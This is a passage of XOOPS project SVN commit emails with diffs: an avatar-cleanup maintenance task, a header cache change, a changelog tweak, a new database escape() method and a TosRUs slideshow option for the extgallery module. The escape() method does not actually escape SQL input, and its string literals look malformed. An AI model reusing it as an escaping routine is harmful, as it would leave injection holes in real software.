- PRIMARY KEY (mirror_id),
- KEY categoryid (lid))
- ENGINE=MyISAM;"
+ mirror_id int(11) unsigned NOT NULL auto_increment,
+ lid int(11) NOT NULL default '0',
+ title varchar(255) NOT NULL default '',
+ homeurl varchar(100) NOT NULL default '',
+ location varchar(255) NOT NULL default '',
+ continent varchar(255) NOT NULL default '',
+ downurl varchar(255) NOT NULL default '',
+ submit int(11) NOT NULL default '0',
+ date int(11) NOT NULL default '0',
+ uid int(10) NOT NULL default '0',
+ PRIMARY KEY (mirror_id),
+ KEY categoryid (lid))
+ ENGINE=MyISAM;"
);
if ($dbupdater->updateTable($...
[truncated message content] |
|
From: <rgr...@us...> - 2014-02-14 04:30:53
|
Revision: 12309
http://sourceforge.net/p/xoops/svn/12309
Author: rgriffith
Date: 2014-02-14 04:30:50 +0000 (Fri, 14 Feb 2014)
Log Message:
-----------
Add cleanup of unused avatar resources to admin maintenance page - #1292
The user delete workflow needs to be corrected to include related resources like avatars, but for now this will provide a way to clean up any unneeded avatar file and database resources. The overall delete workflow issue will be more fully addressed in 2.6. The clean up code itself will be important going forward as part of conversion and upgrade processes.
Modified Paths:
--------------
XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/admin/maintenance/main.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/class/maintenance.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/language/english/admin/maintenance.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/templates/admin/system_maintenance.html
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/admin/maintenance/main.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/admin/maintenance/main.php 2014-02-14 04:08:02 UTC (rev 12308)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/admin/maintenance/main.php 2014-02-14 04:30:50 UTC (rev 12309)
@@ -70,6 +70,8 @@
$tables_tray->addElement($choice, false);
$form_maintenance->addElement($tables_tray);
+ $form_maintenance->addElement(new XoopsFormRadioYN(_AM_SYSTEM_MAINTENANCE_AVATAR, 'avatar', '', _YES, _NO));
+
$form_maintenance->addElement(new XoopsFormHidden("op", "maintenance_save"));
$form_maintenance->addElement(new XoopsFormButton("", "maintenance_save", _SEND, "submit"));
@@ -115,12 +117,15 @@
$session = system_CleanVars ( $_REQUEST, 'session', 1, 'int' );
$cache = system_CleanVars ( $_REQUEST, 'cache', array(), 'array' );
$tables = system_CleanVars ( $_REQUEST, 'tables', array(), 'array' );
+ $avatar = system_CleanVars ( $_REQUEST, 'avatar', 1, 'int' );
$tables_op = system_CleanVars ( $_REQUEST, 'maintenance', array(), 'array' );
$verif_cache = false;
$verif_session = false;
+ $verif_avatar = false;
$verif_maintenance = false;
$result_cache = false;
$result_session = false;
+ $result_avatar = false;
$result_maintenance = false;
$maintenance = new SystemMaintenance();
@@ -148,15 +153,25 @@
}
}
- if( $result_cache == false && $result_session == false && $result_maintenance == false ) {
+ // Purge unused avatars
+ if ( $avatar == 1 ) {
+ $verif_avatar = true;
+ if($maintenance->CleanAvatar()) {
+ $result_avatar = true;
+ }
+ }
+
+ if ($result_cache == false && $result_session == false && $result_maintenance == false && $result_avatar == false) {
redirect_header("admin.php?fct=maintenance", 2, _AM_SYSTEM_MAINTENANCE_ERROR_MAINTENANCE);
}
$xoopsTpl->assign('verif_cache', $verif_cache);
$xoopsTpl->assign('verif_session', $verif_session);
+ $xoopsTpl->assign('verif_avatar', $verif_avatar);
$xoopsTpl->assign('verif_maintenance', $verif_maintenance);
$xoopsTpl->assign('result_cache', $result_cache);
$xoopsTpl->assign('result_session', $result_session);
+ $xoopsTpl->assign('result_avatar', $result_avatar);
$xoopsTpl->assign('result_maintenance', $result_maintenance);
$xoopsTpl->assign('maintenance', true);
break;
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/class/maintenance.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/class/maintenance.php 2014-02-14 04:08:02 UTC (rev 12308)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/class/maintenance.php 2014-02-14 04:30:50 UTC (rev 12309)
@@ -74,6 +74,43 @@
}
/**
+ * CleanAvatar
+ *
+ * Clean up orphaned custom avatars left when a user is deleted.
+ *
+ * @author slider84 of Team FrXoops
+ *
+ * @return boolean
+ */
+ function CleanAvatar()
+ {
+ $result = $this->db->queryF(
+ 'SELECT avatar_id, avatar_file FROM ' . $this->db->prefix('avatar')
+ . " WHERE avatar_type='C' AND avatar_id IN ("
+ . 'SELECT t1.avatar_id FROM ' . $this->db->prefix('avatar_user_link') .' AS t1 '
+ . 'LEFT JOIN '.$this->db->prefix('users').' AS t2 ON t2.uid=t1.user_id '
+ . 'WHERE t2.uid IS NULL)'
+ );
+
+ while ($myrow = $this->db->fetchArray($result)) {
+ //delete file
+ @unlink(XOOPS_UPLOAD_PATH.'/'.$myrow['avatar_file']);
+ //clean avatar table
+ $result1 = $this->db->queryF(
+ 'DELETE FROM '.$this->db->prefix('avatar')
+ . ' WHERE avatar_id='.$myrow['avatar_id']
+ );
+ }
+ //clean any deleted users from avatar_user_link table
+ $result2 = $this->db->queryF(
+ 'DELETE FROM '.$this->db->prefix('avatar_user_link')
+ . ' WHERE user_id NOT IN (SELECT uid FROM ' . $this->db->prefix('users') . ')'
+ );
+
+ return true;
+ }
+
+ /**
* Clean cache 'xoops_data/caches/smarty_cache'
*
* @param array cache
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/language/english/admin/maintenance.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/language/english/admin/maintenance.php 2014-02-14 04:08:02 UTC (rev 12308)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/language/english/admin/maintenance.php 2014-02-14 04:30:50 UTC (rev 12309)
@@ -13,6 +13,7 @@
define('_AM_SYSTEM_MAINTENANCE_SESSION',"Empty the sessions table");
define('_AM_SYSTEM_MAINTENANCE_SESSION_OK',"Session maintenance : OK");
define('_AM_SYSTEM_MAINTENANCE_SESSION_NOTOK',"Session maintenance : Error");
+define('_AM_SYSTEM_MAINTENANCE_AVATAR',"Purge unused custom avatars");
define('_AM_SYSTEM_MAINTENANCE_CACHE',"Clean cache folder");
define('_AM_SYSTEM_MAINTENANCE_CACHE_OK',"Cache maintenance : OK");
define('_AM_SYSTEM_MAINTENANCE_CACHE_NOTOK',"Cache maintenance : Error");
@@ -26,7 +27,7 @@
define('_AM_SYSTEM_MAINTENANCE_CHOICE2',"Check table(s)");
define('_AM_SYSTEM_MAINTENANCE_CHOICE3',"Repair table(s)");
define('_AM_SYSTEM_MAINTENANCE_CHOICE4',"Analyze table(s)");
-define('_AM_SYSTEM_MAINTENANCE_TABLES_DESC',
+define('_AM_SYSTEM_MAINTENANCE_TABLES_DESC',
"ANALYZE TABLE analyzes and stores the key distribution for a table. During the analysis, the table is locked with a read lock.<br />
CHECK TABLE checks a table or tables for errors.<br />
OPTIMIZE TABLE to reclaim the unused space and to defragment the data file.<br />
@@ -36,10 +37,11 @@
define('_AM_SYSTEM_MAINTENANCE_RESULT_CACHE',"Clean Cache task");
define('_AM_SYSTEM_MAINTENANCE_RESULT_SESSION',"Clean sessions table task");
define('_AM_SYSTEM_MAINTENANCE_RESULT_QUERY',"Database task");
+define('_AM_SYSTEM_MAINTENANCE_RESULT_AVATAR',"Purge unused avatars task");
define('_AM_SYSTEM_MAINTENANCE_ERROR_MAINTENANCE',"No choice for maintenance");
define('_AM_SYSTEM_MAINTENANCE_TABLES1',"Tables");
define('_AM_SYSTEM_MAINTENANCE_TABLES_OPTIMIZE',"Optimize");
-define('_AM_SYSTEM_MAINTENANCE_TABLES_CHECK',"Check");
+define('_AM_SYSTEM_MAINTENANCE_TABLES_CHECK',"Check");
define('_AM_SYSTEM_MAINTENANCE_TABLES_REPAIR',"Repair");
define('_AM_SYSTEM_MAINTENANCE_TABLES_ANALYZE',"Analyze");
//Dump
@@ -57,7 +59,7 @@
define('_AM_SYSTEM_MAINTENANCE_DUMP_RESULT',"Result");
define('_AM_SYSTEM_MAINTENANCE_DUMP_RECORDS',"record(s)");
// Tips
-define('_AM_SYSTEM_MAINTENANCE_TIPS',
+define('_AM_SYSTEM_MAINTENANCE_TIPS',
"<ul>
<li>You can do a simple maintenance of your XOOPS Installation: clear your cache and session table, and do maintenance of your tables</li>
</ul>");
\ No newline at end of file
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/templates/admin/system_maintenance.html
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/templates/admin/system_maintenance.html 2014-02-14 04:08:02 UTC (rev 12308)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/modules/system/templates/admin/system_maintenance.html 2014-02-14 04:30:50 UTC (rev 12309)
@@ -1,35 +1,42 @@
-<!--maintenance-->
-<{includeq file="db:system_header.html"}>
-<!-- Display mailusers form -->
-<br />
-<{if $form_maintenance}>
- <div class="spacer"><{$form_maintenance}></div><br />
- <div class="spacer"><{$form_dump}></div>
-<{elseif $maintenance}>
- <{if $verif_cache || $verif_session}>
- <table class="outer ui-corner-all" cellspacing="1">
- <tr>
- <th><{$smarty.const._AM_SYSTEM_MAINTENANCE}></th>
- <th><{$smarty.const._AM_SYSTEM_MAINTENANCE_RESULT}></th>
- </tr>
- <{if $verif_cache}>
- <tr>
- <td class="aligntop txtcenter"><{$smarty.const._AM_SYSTEM_MAINTENANCE_RESULT_CACHE}></td>
- <td class="aligntop txtcenter"><{if $result_cache}><img width="16" src="<{xoAdminIcons success.png}>" /><{else}><img style="width:16px;" src="<{xoAdminIcons cancel.png}>" alt="Cancel"/><{/if}></td>
- </tr>
- <{/if}>
-
- <{if $verif_session}>
- <tr>
- <td class="aligntop" align="center"><{$smarty.const._AM_SYSTEM_MAINTENANCE_RESULT_SESSION}></td>
- <td class="aligntop" align="center"><{if $result_session}><img style="width:16px;" src="<{xoAdminIcons success.png}>" alt="Success"/><{else}><img style="width:16px;" src="<{xoAdminIcons cancel.png}>" alt="Cancel"/><{/if}></td>
- </tr>
- <{/if}>
- </table><br />
- <{/if}>
- <{if $verif_maintenance}>
- <{$result_maintenance}>
- <{/if}>
-<{else}>
- <{$result_dump}>
+<!--maintenance-->
+<{includeq file="db:system_header.html"}>
+<!-- Display mailusers form -->
+<br />
+<{if $form_maintenance}>
+ <div class="spacer"><{$form_maintenance}></div><br />
+ <div class="spacer"><{$form_dump}></div>
+<{elseif $maintenance}>
+ <{if $verif_cache || $verif_session || $verif_avatar}>
+ <table class="outer ui-corner-all" cellspacing="1">
+ <tr>
+ <th><{$smarty.const._AM_SYSTEM_MAINTENANCE}></th>
+ <th><{$smarty.const._AM_SYSTEM_MAINTENANCE_RESULT}></th>
+ </tr>
+ <{if $verif_cache}>
+ <tr>
+ <td class="aligntop txtcenter"><{$smarty.const._AM_SYSTEM_MAINTENANCE_RESULT_CACHE}></td>
+ <td class="aligntop txtcenter"><{if $result_cache}><img width="16" src="<{xoAdminIcons success.png}>" /><{else}><img style="width:16px;" src="<{xoAdminIcons cancel.png}>" alt="Cancel"/><{/if}></td>
+ </tr>
+ <{/if}>
+
+ <{if $verif_session}>
+ <tr>
+ <td class="aligntop" align="center"><{$smarty.const._AM_SYSTEM_MAINTENANCE_RESULT_SESSION}></td>
+ <td class="aligntop" align="center"><{if $result_session}><img style="width:16px;" src="<{xoAdminIcons success.png}>" alt="Success"/><{else}><img style="width:16px;" src="<{xoAdminIcons cancel.png}>" alt="Cancel"/><{/if}></td>
+ </tr>
+ <{/if}>
+
+ <{if $verif_avatar}>
+ <tr>
+ <td class="aligntop" align="center"><{$smarty.const._AM_SYSTEM_MAINTENANCE_RESULT_AVATAR}></td>
+ <td class="aligntop" align="center"><{if $result_avatar}><img style="width:16px;" src="<{xoAdminIcons success.png}>" alt="Success"/><{else}><img style="width:16px;" src="<{xoAdminIcons cancel.png}>" alt="Cancel"/><{/if}></td>
+ </tr>
+ <{/if}>
+ </table><br />
+ <{/if}>
+ <{if $verif_maintenance}>
+ <{$result_maintenance}>
+ <{/if}>
+<{else}>
+ <{$result_dump}>
<{/if}>
\ No newline at end of file
|
|
From: <rgr...@us...> - 2014-02-14 04:08:05
|
Revision: 12308
http://sourceforge.net/p/xoops/svn/12308
Author: rgriffith
Date: 2014-02-14 04:08:02 +0000 (Fri, 14 Feb 2014)
Log Message:
-----------
Include fix for #1261 as proposed by Irmtfan
Modified Paths:
--------------
XoopsCore/branches/2.5.x/2.5.7/htdocs/header.php
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/header.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/header.php 2014-02-12 17:39:12 UTC (rev 12307)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/header.php 2014-02-14 04:08:02 UTC (rev 12308)
@@ -84,14 +84,14 @@
if (!empty($xoopsModule)) {
$xoTheme->contentCacheLifetime = @$xoopsConfig['module_cache'][$xoopsModule->getVar('mid', 'n')];
// Tricky solution for setting cache time for homepage
- } else if (!empty($xoopsOption['template_main']) && $xoopsOption['template_main'] == 'db:system_homepage.html') {
+ } elseif (!empty($xoopsOption['template_main']) && $xoopsOption['template_main'] == 'db:system_homepage.html') {
$xoTheme->contentCacheLifetime = 604800;
}
$xoopsPreload->triggerEvent('core.header.checkcache');
if ($xoTheme->checkCache()) {
- $xoopsPreload->triggerEvent('core.header.cacheend');
- exit();
+ $xoopsPreload->triggerEvent('core.header.cacheend');
+ //exit(); // see https://sourceforge.net/p/xoops/bugs/1261/
}
if (!isset($xoopsOption['template_main']) && $xoopsModule) {
|
|
From: <ant...@us...> - 2014-02-12 17:39:15
|
Revision: 12307
http://sourceforge.net/p/xoops/svn/12307
Author: antiquel
Date: 2014-02-12 17:39:12 +0000 (Wed, 12 Feb 2014)
Log Message:
-----------
Test
Modified Paths:
--------------
XoopsModules/APCal/trunk/CHANGELOG.txt
Modified: XoopsModules/APCal/trunk/CHANGELOG.txt
===================================================================
--- XoopsModules/APCal/trunk/CHANGELOG.txt 2014-02-12 14:55:09 UTC (rev 12306)
+++ XoopsModules/APCal/trunk/CHANGELOG.txt 2014-02-12 17:39:12 UTC (rev 12307)
@@ -1,4 +1,4 @@
-Module Name : APCal
+Module Name : APCal
Version Number : 2.2.0
Module developer : Antiques Promotion <http://xoops.antiquespromotion.ca>
|
|
From: <be...@us...> - 2014-02-12 14:55:14
|
Revision: 12306
http://sourceforge.net/p/xoops/svn/12306
Author: beckmi
Date: 2014-02-12 14:55:09 +0000 (Wed, 12 Feb 2014)
Log Message:
-----------
added function escape to XoopsMySQLDatabase, needed for Formulize (jegelstaff)
Modified Paths:
--------------
XoopsCore/branches/2.5.x/2.5.7/docs/changelog.250.txt
XoopsCore/branches/2.5.x/2.5.7/htdocs/class/database/mysqldatabase.php
Modified: XoopsCore/branches/2.5.x/2.5.7/docs/changelog.250.txt
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/docs/changelog.250.txt 2014-02-11 23:57:34 UTC (rev 12305)
+++ XoopsCore/branches/2.5.x/2.5.7/docs/changelog.250.txt 2014-02-12 14:55:09 UTC (rev 12306)
@@ -39,6 +39,7 @@
- fixed Undefined index: uid in file /modules/profile/userinfo.php line 24 (cesag/mamba)
- set minimum PHP version to 5.3.7 (mamba)
- added missing apostrophe corrections for Date types in CleanVars in /class/model/write.php
+- added function escape to XoopsMySQLDatabase, needed for Formulize (jegelstaff)
Security fixes
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/class/database/mysqldatabase.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/class/database/mysqldatabase.php 2014-02-11 23:57:34 UTC (rev 12305)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/class/database/mysqldatabase.php 2014-02-12 14:55:09 UTC (rev 12306)
@@ -237,6 +237,21 @@
}
/**
+ * Escapes a string for use in a query. Does not add quotes.
+ *
+ * @param string $string string to escape
+ *
+ * @return string
+ * @deprecated since version 2.6.0 - alpha 3. Switch to doctrine connector.
+ */
+ public function escape($string)
+ {
+ $this->deprecated();
+
+ return str_replace("\\\"", '"', str_replace("\\"", '"', $string));
+ }
+
+ /**
* perform a query on the database
*
* @param string $sql a valid MySQL query
|
|
From: <luc...@us...> - 2014-02-11 23:57:37
|
Revision: 12305
http://sourceforge.net/p/xoops/svn/12305
Author: luciorota
Date: 2014-02-11 23:57:34 +0000 (Tue, 11 Feb 2014)
Log Message:
-----------
updated changelog
Modified Paths:
--------------
XoopsModules/extgallery/trunk/modules/extgallery/changelog.txt
Modified: XoopsModules/extgallery/trunk/modules/extgallery/changelog.txt
===================================================================
--- XoopsModules/extgallery/trunk/modules/extgallery/changelog.txt 2014-02-11 23:56:32 UTC (rev 12304)
+++ XoopsModules/extgallery/trunk/modules/extgallery/changelog.txt 2014-02-11 23:57:34 UTC (rev 12305)
@@ -1,10 +1,10 @@
-============================
+============================
2013-08-12: Version 1.12 Beta 1
============================
- added .jpeg extension (mamba)
- replaced ExtgalleryPhotoUploader with standard XoopsMediaUploader (mamba)
- fix for index template (Cifug)
-- Add Ajax effects for slideshow block : jQuery Touch Optimized Sliders "R"Us (luciorota)
+- added Ajax effects for slideshow block : jQuery Touch Optimized Sliders "R"Us (luciorota)
blocks.php
_MB_EXTGALLERY_AJAX_TOSRUS (added)
|
|
From: <luc...@us...> - 2014-02-11 23:56:38
|
Revision: 12304
http://sourceforge.net/p/xoops/svn/12304
Author: luciorota
Date: 2014-02-11 23:56:32 +0000 (Tue, 11 Feb 2014)
Log Message:
-----------
added Ajax effects for slideshow block : jQuery Touch Optimized Sliders "R"Us
Modified Paths:
--------------
XoopsModules/extgallery/trunk/modules/extgallery/blocks/extgallery_blocks.php
XoopsModules/extgallery/trunk/modules/extgallery/changelog.txt
XoopsModules/extgallery/trunk/modules/extgallery/language/english/blocks.php
XoopsModules/extgallery/trunk/modules/extgallery/templates/blocks/extgallery_block.html
XoopsModules/extgallery/trunk/modules/extgallery/xoops_version.php
Added Paths:
-----------
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/lib/
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/lib/FlameViewportScale.js
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/lib/jquery.hammer.min.js
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/css/
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/css/jquery.tosrus.css
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/tos-close-retina.png
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/tos-close.png
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/tos-next-retina.png
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/tos-next.png
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/tos-play-retina.png
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/tos-play.png
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/tos-preloader-black-retina.png
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/tos-preloader-black.png
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/tos-preloader-white-retina.png
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/tos-preloader-white.png
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/tos-prev-retina.png
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/tos-prev.png
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/img/tos-zoom.png
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/js/
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/js/jquery.tosrus.js
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/js/jquery.tosrus.min.js
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/scss/
XoopsModules/extgallery/trunk/modules/extgallery/include/TosRUs/src/scss/jquery.tosrus.scss
Modified: XoopsModules/extgallery/trunk/modules/extgallery/blocks/extgallery_blocks.php
===================================================================
--- XoopsModules/extgallery/trunk/modules/extgallery/blocks/extgallery_blocks.php 2014-02-10 12:38:48 UTC (rev 12303)
+++ XoopsModules/extgallery/trunk/modules/extgallery/blocks/extgallery_blocks.php 2014-02-11 23:56:32 UTC (rev 12304)
@@ -20,173 +20,171 @@
// Manage photo blocks
function extgalleryPhotoShow($options) {
- global $xoopsConfig;
-
- $photoHandler = xoops_getmodulehandler('publicphoto', 'extgallery');
+ global $xoopsConfig;
- $param = array('limit'=>$options[0]);
- $direction = $options[1];
- $title = $options[2];
- $photoHandlertype = $options[3];
- $jquery = $options[4];
- $ajaxeffect = $options[5];
- $overlyabg = $options[6];
- $overlyaw = $options[7];
- $overlyah = $options[8];
- $tooltipw = $options[9];
- $tooltipbw = $options[10];
- $tooltipbbg = $options[11];
- $fancyboxbg = $options[12];
- $fancyboxop = $options[13];
- $fancyboxtin = $options[14];
- $fancyboxtout = $options[15];
- $fancyboxtp = $options[16];
- $fancyboxshow = $options[17];
- $prettyphotospeed = $options[18];
- $prettyphototheme = $options[19];
- $prettyphotoslidspeed = $options[20];
- $prettyphotoautoplay = $options[21];
- $jcarouselhwidth = $options[22];
- $jcarouselvwidth = $options[23];
- $jcarouselvheight = $options[24];
- $column = $options[25];
-
-
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
+ $photoHandler = xoops_getmodulehandler('publicphoto', 'extgallery');
- $categories = array();
- foreach($options as $cat) {
- if($cat == 0) {
- $categories = array();
- break;
- }
- $categories[] = $cat;
- }
- $param['cat'] = $categories;
-
- switch ($photoHandlertype) {
- case "RandomPhoto":
- $photos = $photoHandler->objectToArray($photoHandler->getRandomPhoto($param));
- break;
-
- case "LastPhoto":
- $photos = $photoHandler->objectToArray($photoHandler->getLastPhoto($param));
- break;
-
- case "TopViewPhoto":
- $photos = $photoHandler->objectToArray($photoHandler->getTopViewPhoto($param));
- break;
-
- case "TopRatedPhoto":
- $photos = $photoHandler->objectToArray($photoHandler->getTopRatedPhoto($param));
- break;
-
- case "TopEcardPhoto":
- $photos = $photoHandler->objectToArray($photoHandler->getTopEcardPhoto($param));
- break;
- }
+ $param = array('limit'=>$options[0]);
+ $direction = $options[1];
+ $title = $options[2];
+ $photoHandlertype = $options[3];
+ $jquery = $options[4];
+ $ajaxeffect = $options[5];
+ $overlyabg = $options[6];
+ $overlyaw = $options[7];
+ $overlyah = $options[8];
+ $tooltipw = $options[9];
+ $tooltipbw = $options[10];
+ $tooltipbbg = $options[11];
+ $fancyboxbg = $options[12];
+ $fancyboxop = $options[13];
+ $fancyboxtin = $options[14];
+ $fancyboxtout = $options[15];
+ $fancyboxtp = $options[16];
+ $fancyboxshow = $options[17];
+ $prettyphotospeed = $options[18];
+ $prettyphototheme = $options[19];
+ $prettyphotoslidspeed = $options[20];
+ $prettyphotoautoplay = $options[21];
+ $jcarouselhwidth = $options[22];
+ $jcarouselvwidth = $options[23];
+ $jcarouselvheight = $options[24];
+ $column = $options[25];
- if($jquery == 'true' && $ajaxeffect != 'none'){
- global $xoTheme;
- $xoTheme->addScript("browse.php?Frameworks/jquery/jquery.js");
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
- switch($ajaxeffect) {
- case 'lightbox':
- $xoTheme->addScript("browse.php?Frameworks/jquery/plugins/jquery.lightbox.js");
- $xoTheme->addStylesheet('browse.php?modules/system/css/lightbox.css');
- break;
-
- case 'tooltip':
- $xoTheme->addScript("browse.php?modules/extgallery/include/tooltip/image.tooltip.js");
- $xoTheme->addStylesheet('browse.php?modules/extgallery/include/tooltip/image.tooltip.css');
- break;
-
- case 'overlay':
- $xoTheme->addScript("browse.php?modules/extgallery/include/overlay/overlay.jquery.tools.min.js");
- $xoTheme->addStylesheet('browse.php?modules/extgallery/include/overlay/overlay.css');
- break;
-
- case 'fancybox':
- $xoTheme->addScript("browse.php?modules/extgallery/include/fancybox/mousewheel.js");
- $xoTheme->addScript("browse.php?modules/extgallery/include/fancybox/fancybox.pack.js");
- $xoTheme->addStylesheet('browse.php?modules/extgallery/include/fancybox/fancybox.css');
- break;
-
- case 'prettyphoto':
- $xoTheme->addScript("browse.php?modules/extgallery/include/prettyphoto/jquery.prettyPhoto.js");
- $xoTheme->addStylesheet('browse.php?modules/extgallery/include/prettyphoto/prettyPhoto.css');
- break;
-
- case 'jcarousel':
- $xoTheme->addScript("browse.php?modules/extgallery/include/jcarousel/jquery.jcarousel.min.js");
- $xoTheme->addStylesheet('browse.php?modules/extgallery/include/jcarousel/skin.css');
- break;
- }
- }
+ $categories = array();
+ foreach($options as $cat) {
+ if($cat == 0) {
+ $categories = array();
+ break;
+ }
+ $categories[] = $cat;
+ }
+ $param['cat'] = $categories;
- if(count($photos) == 0) {
- return array();
- }
+ switch ($photoHandlertype) {
+ case "RandomPhoto":
+ $photos = $photoHandler->objectToArray($photoHandler->getRandomPhoto($param));
+ break;
- $ret = array(
- 'photos'=>$photos,
- 'column'=>$column,
- 'direction'=>$direction,
- 'title'=>$title,
- 'jquery'=>$jquery,
- 'ajaxeffect'=>$ajaxeffect,
- 'overlyabg'=>$overlyabg,
- 'overlyaw'=>$overlyaw,
- 'overlyah'=>$overlyah,
- 'tooltipw'=>$tooltipw,
- 'tooltipbw'=>$tooltipbw,
- 'tooltipbbg'=>$tooltipbbg,
- 'fancyboxbg'=>$fancyboxbg,
- 'fancyboxop'=>$fancyboxop,
- 'fancyboxtin'=>$fancyboxtin,
- 'fancyboxtout'=>$fancyboxtout,
- 'fancyboxtp'=>$fancyboxtp,
- 'fancyboxshow'=>$fancyboxshow,
- 'prettyphotospeed'=>$prettyphotospeed,
- 'prettyphototheme'=>$prettyphototheme,
- 'prettyphotoslidspeed'=>$prettyphotoslidspeed,
- 'prettyphotoautoplay'=>$prettyphotoautoplay,
- 'jcarouselhwidth'=>$jcarouselhwidth,
- 'jcarouselvwidth'=>$jcarouselvwidth,
- 'jcarouselvheight'=>$jcarouselvheight
-
- );
- return $ret;
+ case "LastPhoto":
+ $photos = $photoHandler->objectToArray($photoHandler->getLastPhoto($param));
+ break;
+
+ case "TopViewPhoto":
+ $photos = $photoHandler->objectToArray($photoHandler->getTopViewPhoto($param));
+ break;
+
+ case "TopRatedPhoto":
+ $photos = $photoHandler->objectToArray($photoHandler->getTopRatedPhoto($param));
+ break;
+
+ case "TopEcardPhoto":
+ $photos = $photoHandler->objectToArray($photoHandler->getTopEcardPhoto($param));
+ break;
+ }
+
+ if ($jquery == 'true' && $ajaxeffect != 'none'){
+ global $xoTheme;
+ $xoTheme->addScript("browse.php?Frameworks/jquery/jquery.js");
+
+ switch($ajaxeffect) {
+ case 'lightbox':
+ $xoTheme->addScript("browse.php?Frameworks/jquery/plugins/jquery.lightbox.js");
+ $xoTheme->addStylesheet('browse.php?modules/system/css/lightbox.css');
+ break;
+ case 'tooltip':
+ $xoTheme->addScript("browse.php?modules/extgallery/include/tooltip/image.tooltip.js");
+ $xoTheme->addStylesheet('browse.php?modules/extgallery/include/tooltip/image.tooltip.css');
+ break;
+ case 'overlay':
+ $xoTheme->addScript("browse.php?modules/extgallery/include/overlay/overlay.jquery.tools.min.js");
+ $xoTheme->addStylesheet('browse.php?modules/extgallery/include/overlay/overlay.css');
+ break;
+ case 'fancybox':
+ $xoTheme->addScript("browse.php?modules/extgallery/include/fancybox/mousewheel.js");
+ $xoTheme->addScript("browse.php?modules/extgallery/include/fancybox/fancybox.pack.js");
+ $xoTheme->addStylesheet('browse.php?modules/extgallery/include/fancybox/fancybox.css');
+ break;
+ case 'prettyphoto':
+ $xoTheme->addScript("browse.php?modules/extgallery/include/prettyphoto/jquery.prettyPhoto.js");
+ $xoTheme->addStylesheet('browse.php?modules/extgallery/include/prettyphoto/prettyPhoto.css');
+ break;
+ case 'jcarousel':
+ $xoTheme->addScript("browse.php?modules/extgallery/include/jcarousel/jquery.jcarousel.min.js");
+ $xoTheme->addStylesheet('browse.php?modules/extgallery/include/jcarousel/skin.css');
+ break;
+ case 'TosRUs':
+ $xoTheme->addScript("browse.php?modules/extgallery/include/TosRUs/src/js/jquery.tosrus.js");
+ $xoTheme->addStylesheet('browse.php?modules/extgallery/include/TosRUs/src/css/jquery.tosrus.css');
+ $xoTheme->addScript("browse.php?modules/extgallery/include/TosRUs/lib/jquery.hammer.min.js");
